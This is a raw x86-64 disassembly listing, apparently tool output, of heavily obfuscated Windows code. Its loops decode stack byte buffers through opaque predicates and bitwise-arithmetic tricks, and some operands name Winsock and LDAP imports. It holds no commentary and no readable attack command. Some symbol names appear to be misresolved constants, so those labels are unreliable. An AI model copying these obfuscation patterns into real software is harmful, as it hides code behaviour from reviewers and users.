lea r10d, [r11 + rcx]
sub r10b, 0x41
cmp r9, 0x2a
jb 0x140090b0c
movabs rdx, 0x4ef11bd4978991ca
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add cl, dl
lea r10d, [rcx*2 - 0xc]
jmp 0x140091269
movabs rcx, 0x64a256b415b45169
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x21
cmp r8, 2
jae 0x14009113e
lea rax, [r9 + 6]
cmp r8, rax
jbe 0x140091028
movabs rdx, 0x2b6275befc557f3e
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x140090b3b
movabs rcx, 0xc77a794b862f1c5b
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x7d
lea rax, [r8 + r9]
cmp rax, 4
je 0x14009116f
lea rax, [r9 + 9]
cmp r8, rax
jbe 0x140090f06
movabs rdx, 0x393fe0f5195ed22b
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x2d
add r10b, dl
jmp 0x140090b8a
movabs rcx, 0xaccf7cbb51c80e72
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x1e
movzx eax, byte [rbp + rbx + 0x780]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140090642
movabs rdx, 0xfa79f52c242d964
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_35
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14009136b
movabs rdx, 0x727fc1ea32bda456
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x5a
add r10b, dl
jmp 0x140091314
movabs rdx, 0xd557e481a3386f48
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 4
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140090642
movabs rdx, 0x3830071913b33a3a
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140091204
movabs rdx, 0x9b0829b0842e052c
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x34
add r10b, dl
jmp 0x1400911dd
movabs rdx, 0xfde04c47f4a8d01e
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x140090642
movabs rcx, 0x60b86edf65239b10
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x70
inc r9
dec rbx
inc rbx
jmp 0x140090642
movabs rcx, 0xc3909176d59e6602
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0xe
jmp 0x140091269
lea rax, [r9 + 0x42]
cmp r8, rax
jae 0x140090de4
lea rcx, [rbx + r13]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x4f
jmp 0x140090be9
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140090e27
movabs rcx, 0xe4452993c5ed5a26
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0xa
movzx eax, byte [rbp + rbx + 0x780]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140090642
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140090e69
movabs rcx, 0xbbbcc1cd747cf950
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x30
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140090642
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140090e9f
movabs rdx, 0x58e49f3604022e5e
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x140091204
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140090ed5
movabs rdx, 0xf60c7c9e9387636c
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 6
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400911dd
lea rax, [r9 + 8]
cmp r8, rax
jne 0x140090be9
movabs rcx, 0xcd8414d842170296
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x1a
jmp 0x140091269
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140090f37
movabs rcx, 0xd667be5da8e40739
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x71
jmp 0x140091269
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140090f6e
movabs rcx, 0x10b7792ec7ee7155
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x53
dec rbx
inc rbx
jmp 0x140090642
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140090fb0
movabs rcx, 0xe82f1168767e107f
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x79
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140090642
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140090fe5
movabs rdx, 0x8556eed10603458d
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x25
add r10b, dl
jmp 0x140091314
lea rax, [r9 + 8]
cmp r8, rax
jne 0x140090b8a
movabs rcx, 0xbfa6a9a2250dafa9
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x61
movzx eax, byte [rbp + rbx + 0x780]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140090642
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14009106b
movabs rcx, 0xc88a53278bdab44c
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x14
movzx eax, byte [rbp + rbx + 0x780]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140090642
inc rax
cmp r8, rax
jne 0x1400910a0
movabs rdx, 0x2da0df8aae51e68
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x140091314
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400910d6
movabs rdx, 0x3d29c8c9c9ef8884
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140091204
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14009110c
movabs rdx, 0xda51a6325974bd92
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 1
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400911dd
lea rax, [r9 + 9]
cmp r8, rax
jne 0x140090b3b
movabs rdx, 0xb1c93e6c08045cbc
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x24
jmp 0x140091266
movabs rdx, 0xec18f93d270ec6d8
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, byte [rbp + rbx + 0x780]
add r10b, r11b
add r10b, dl
jmp 0x1400911dd
movabs rcx, 0x8940d6a5b693fbe6
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, byte [rbp + rbx + 0x780]
lea r10d, [r11 + rcx]
sub r10b, 0x4a
jmp 0x140091314
movabs rcx, 0x3e39a2a5cf9b2075
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x33
jmp 0x140091314
movabs rcx, 0x66c20a6c210b814b
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0xd
movabs rcx, 0xbaace7f16ed1615f
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, 0x67
add cl, r11b
add cl, r10b
mov byte [rbp + rbx + 0x780], cl
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140090642
movabs rcx, 0xc99a2d0391864c3d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x55
dec rbx
inc rbx
jmp 0x140090642
movabs rdx, 0x8f4a7232727be221
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x19
add r10b, dl
movabs rcx, 0x1d850a88df4c2c51
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x37
add cl, r11b
mov byte [rbp + rbx + 0x780], cl
inc r9
dec rbx
inc rbx
jmp 0x140090642
movabs rcx, 0xb7d2d9f8c3ec42f7
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x3f
inc r9
dec rbx
inc rbx
jmp 0x140090642
movabs rcx, 0x1aaafc9034670de9
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x5f
dec rbx
inc rbx
jmp 0x140090642
mov r11, rdx
movabs rcx, 0xa60b86edf65239b1
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
add r10b, 0x29
movabs rcx, 0x57d4c559fe56966d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, 5
add cl, r11b
movzx eax, cl
mov byte [rbp + rbx + 0x780], al
inc r9
add rax, r9
sub rbx, rax
jmp 0x14009136b
movabs rcx, 0x8e3a98566cd04a3
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
sub r10b, 0x75
movzx r11d, dl
movabs rdx, 0x2668b40e461930f4
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_45
sub cl, al
add cl, cl
add cl, dl
add cl, r11b
mov byte [rbp + rbx + 0x780], cl
inc r8
mov rax, r12
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x780]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140090642
movabs rcx, 0x6bbbcc1cd747cf95
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
sub r10b, 0x13
movzx eax, byte [rbp + rbx + 0x780]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140090642
movabs rcx, 0x52db03a9481a4823
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0xb
jmp 0x140090640
movabs rcx, 0xb5b32640b8951315
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x6d
jmp 0x140090630
lea rcx, [rbp + 0x17fda34]
jmp 0x140091450
lea rcx, [rbp + 0x14274bb]
jmp 0x140091450
lea rcx, [rbp + 0x780]
mov rdx, rdi
call fcn.140035c60
lea rdx, [0x140229e20]
lea rcx, [rbp + 0x148]
call fcn.140002680
mov rdx, rax
mov rcx, qword [0x140230160]
call fcn.14006a650
mov rcx, rax
call fcn.14006ba40
mov rdi, rax
mov byte [rbp + 0x7a8], Ordinal_60
mov byte [rbp + 0x7a9], 8
mov byte [rbp + 0x7aa], 9
mov byte [rbp + 0x7ab], 6
mov byte [rbp + 0x7ac], 0x5a
mov byte [rbp + 0x7ad], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0x7ae], 7
mov byte [rbp + 0x7af], 1
mov byte [rbp + 0x7b0], Ordinal_30
mov byte [rbp + 0x7b1], WSACleanup
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x7b2], xmm0
mov qword [rbp + 0x7c2], rax
mov byte [rbp + 0x7ca], al
movabs rsi, 0x24c4c676b830211b
movabs r13, 0x4ae4cc7f8eddb86f
movabs r14, 0xaa3b094292632445
movabs r15, 0x1471704374a7b367
movzx r10d, byte [rsp + 0x40]
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x1402304a8]
mov r9, qword [0x1402304a0]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x14009240e
movzx r11d, byte [rbp + rbx + 0x7a8]
mov rdx, r11
nop dword [rax + rax]
cmp r8, rbx
ja 0x140092402
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140091583
lea rcx, [rbx + r13]
mov rax, rcx
and rax, rdx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rdx
sub r10b, 9
jmp 0x1400915d0
je 0x140092378
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400922dd
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400922a5
lea rax, [r9 + 6]
cmp r8, rax
je 0x140092253
lea rax, [r9 + 7]
cmp r8, rax
je 0x140092228
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400921fa
nop word [rax + rax]
cmp r9, rbx
ja 0x1400923f6
lea rax, [r9 + 0x80]
cmp r8, rax
jae 0x140091608
lea rdx, [rbx + rsi]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x43
add r10b, dl
jmp 0x140091660
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400921a2
inc rax
cmp r8, rax
je 0x140092177
lea rax, [r9 + 4]
cmp r8, rax
je 0x140092153
lea rax, [r9 + 5]
cmp r8, rax
je 0x14009211e
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400920f6
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400920ce
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x140091cf5
nop dword [rax]
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x140091ccf
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x140091c9d
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x140091c72
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x140091c4d
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x140091c28
lea rax, [r9 + 6]
cmp r8, rax
je 0x140091bf3
lea rax, [r9 + 8]
cmp r8, rax
je 0x140091bcb
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x140091ba3
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x140091b6d
lea rax, [r9 + 1]
cmp r8, rax
je 0x140091670
lea r8, [r9 + 0x7a]
lea r9, [r8 + 0x3e8]
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x1400923d1
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x1400923ac
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x140091868
lea rax, [r9 + 9]
cmp r8, rax
jb 0x14009184d
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x14009182e
lea rax, [r9 + 1]
cmp r8, rax
jb 0x140091b05
lea rax, [r9 + 2]
cmp r8, rax
jb 0x140091aa6
lea rax, [r9 + 3]
cmp r8, rax
jb 0x140091a53
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x140091a23
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x140091670
lea r8, [r9 + 0x200]
lea r9, [r8 + 0x40]
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x1400919ee
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x1400919c6
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x14009199e
lea rax, [r9 + 3]
cmp r8, rax
ja 0x140091965
lea rax, [r9 + 4]
cmp r8, rax
ja 0x14009193c
lea rax, [r9 + 5]
cmp r8, rax
ja 0x140091913
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400918e4
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x1400918b2
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x14009188c
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x140091670
lea r8, [r9 + 0x28]
lea r9, [r8 + 0x200]
jmp 0x140091670
lea rdx, [rbx + r14]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x1d
add r10b, dl
jmp 0x140091660
lea rcx, [rbx + r15]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x2f
jmp 0x1400915d0
movabs rcx, 0x7ea7d74456ec4289
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x41
jmp 0x140091545
movabs rdx, 0x262633b5c18108d8
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x1400921c2
movabs rdx, 0x905c9ab6a3c597fa
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc r9
dec rbx
inc rbx
jmp 0x140091532
movabs rdx, 0xfa9301b7860a271c
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
dec rbx
inc rbx
jmp 0x140091532
movabs rdx, 0x64c968b8684eb63e
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140092276
movabs rdx, 0xceffcfb94a934560
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400922c5
movabs rdx, 0x393636ba2cd7d482
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140091532
movabs rdx, 0xa36c9dbb0f1c63a4
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x7c
add r10b, dl
jmp 0x1400922fe
movabs rdx, 0xda304bbf160f2c6
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x6a
add r10b, dl
jmp 0x14009232e
movabs rcx, 0x77d96bbcd3a581e8
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x58
movzx eax, byte [rbp + rbx + 0x7a8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140091532
movabs rcx, 0x1616d3f0950e7bd
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x2b
mov byte [rbp + rbx + 0x7a8], r10b
inc rbx
jmp 0x140091532
movabs rdx, 0x6b97d43feb9576df
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x19
add r10b, dl
cmp r9, 9
jb 0x140091a43
movabs rdx, 0xd7297ad2ec577c3a
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add cl, dl
lea r10d, [rcx*2 - 0x2c]
jmp 0x1400921c5
movabs rcx, 0xd5ce3b40cdda0601
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 7
cmp r8, 0x40
jae 0x14009206c
lea rax, [r9 + 0xa]
cmp r8, rax
jbe 0x140091f4c
movabs rdx, 0xfd4980dbc305138e
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140091a76
movabs rdx, 0x4004a241b01e9523
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0xb
add r10b, dl
lea rax, [r9 + r8]
cmp rax, 0x3e8
je 0x14009209d
lea rax, [r9 + 0x42]
cmp r8, rax
jbe 0x140091e74
movabs rdx, 0xd884ba650ad4f273
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x25
add r10b, dl
jmp 0x140091ac5
movabs rcx, 0xdc9ca6c85120c6a2
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x6e
movzx eax, byte [rbp + rbx + 0x7a8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140091532
movabs rdx, 0x46d30dc9336555c4
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x5c
add r10b, dl
jmp 0x14009232e
movabs rdx, 0xb10974ca15a9e4e6
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x4a
add r10b, dl
jmp 0x1400922fe
movabs rcx, 0x1b3fdbcaf7ee7408
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x38
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140091532
movabs rcx, 0x857642cbda33032a
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x26
jmp 0x1400922c5
movabs rdx, 0xefaca9ccbc77924c
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x14
jmp 0x140092273
movabs rcx, 0x59e310cd9ebc216e
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 2
dec rbx
inc rbx
jmp 0x140091532
movabs rdx, 0xc41977ce8100b090
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 8
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc r9
dec rbx
inc rbx
jmp 0x140091532
movabs rdx, 0x2e4fdecf63453fb2
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x1400921c2
lea rax, [r9 + 0x64]
cmp r8, rax
jae 0x140091d1d
lea rcx, [rbx + r13]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 9
jmp 0x140091b28
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140091d60
movabs rcx, 0x49898ced70604236
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x7a
movzx eax, byte [rbp + rbx + 0x7a8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140091532
inc rax
cmp r8, rax
jne 0x140091d95
movabs rdx, 0x751cbeebabd723f2
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400922fe
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140091dc8
movabs rdx, 0x367989e90509768c
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x140092273
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140091e04
movabs rdx, 0xcc4322e822c4e76a
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x140091532
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140091e43
movabs rdx, 0x620cbbe740805848
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 4
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc r9
dec rbx
inc rbx
jmp 0x140091532
lea rax, [r9 + 9]
cmp r8, rax
jne 0x140091b28
movabs rcx, 0xf7d654e65e3bc926
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0xa
jmp 0x1400921c5
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x140091ea6
movabs rdx, 0x6e4e536428906351
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x37
jmp 0x1400921c2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140091ed8
movabs rdx, 0x2fab1e6181c2b5eb
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x6d
jmp 0x140092273
lea rax, [rcx + 1]
cmp r8, rax
jne 0x140091f09
movabs rcx, 0xc574b7609f7e26c9
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x7f
jmp 0x1400922c5
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140091ac5
movabs rcx, 0x1c9b1b5d166bea41
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x39
movzx eax, byte [rbp + rbx + 0x7a8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140091532
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140091f93
movabs rdx, 0x931319dae0c0846c
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 6
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0x7a8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140091532
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140091fc4
movabs rcx, 0xea397dd757ae47e4
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x3c
jmp 0x1400922c5
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140091ffc
movabs rcx, 0x15ccafd5932529a0
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x60
dec rbx
inc rbx
jmp 0x140091532
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140092036
movabs rcx, 0xab9648d4b0e09a7e
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x72
inc r9
dec rbx
inc rbx
jmp 0x140091532
lea rax, [r9 + 9]
cmp r8, rax
jne 0x140091a76
movabs rdx, 0x415fe1d3ce9c0b5c
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x3e
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400921c5
movabs rdx, 0x6cf313d20a12ed18
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, byte [rbp + rbx + 0x7a8]
add r10b, dl
add r10b, r11b
jmp 0x140092276
movabs rdx, 0x2bcacd127ce5df6
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
lea r10d, [rcx + rcx]
sub r10b, byte [rbp + rbx + 0x7a8]
add r10b, r11b
add r10b, dl
jmp 0x1400922fe
movabs rdx, 0xd3118e6fa60ba80b
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x4d
add r10b, dl
jmp 0x14009232e
movabs rdx, 0x3d47f5708850372d
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x3b
add r10b, dl
jmp 0x1400922fe
movabs rcx, 0xa77e5c716a94c64f
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x29
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140091532
movabs rcx, 0x11b4c3724cd95571
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x17
jmp 0x1400922c5
movabs rcx, 0xe6219174116273b5
add rcx, rbx
movzx eax, r11b
and al, cl
